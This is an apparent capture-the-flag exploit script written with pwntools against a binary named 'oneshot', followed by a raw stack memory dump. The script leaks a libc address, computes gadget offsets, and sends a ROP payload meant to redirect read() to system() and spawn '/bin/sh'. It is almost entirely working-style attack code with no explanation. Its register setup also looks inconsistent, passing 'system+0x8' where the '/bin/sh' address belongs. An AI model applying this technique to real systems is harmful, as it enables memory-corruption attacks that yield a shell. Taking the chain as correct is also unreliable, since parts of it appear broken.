from pwn import *

p = process('./oneshot')
e = ELF('./oneshot')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

stdout_offset = libc.symbols['_IO_2_1_stdout_']
system_offset = libc.symbols['system']
read_plt = p64(e.plt['read'])
read_got = p64(e.got['read'])

p.recvuntil('stdout: ')
stdout = int(p.recv(14), 16)

lb = stdout - stdout_offset
system = lb + system_offset
pop_rdi = p64(lb + 0x2164f)
pop_rsi = p64(lb + 0x23a6a)

payload = b'A'*24 + b'\x00'*8 + b'A'*8
payload += pop_rdi + p64(0)
payload += pop_rsi + read_got
payload += pop_rdi + p64(system+0x8)
payload += read_plt
p.sendafter('MSG: ', payload)

p.send(p64(system)+b'/bin/sh\x00')

p.interactive()

0x7ffe0b118d10:	0x4141414141414141    0x4141414141414141
0x7ffe0b118d20:	0x4141414141414141    0x0000000000000000
0x7ffe0b118d30:	0x4141414141414141    0x00007fcfc077d64f  # <- pop_rdi
0x7ffe0b118d40:	0x0000000000000001    0x00007ffe0b118e18
0x7ffe0b118d50:	0x0000000100008000    0x0000560936a2ca41
0x7ffe0b118d60:	0x0000000000000000    0xbc288625463e94b4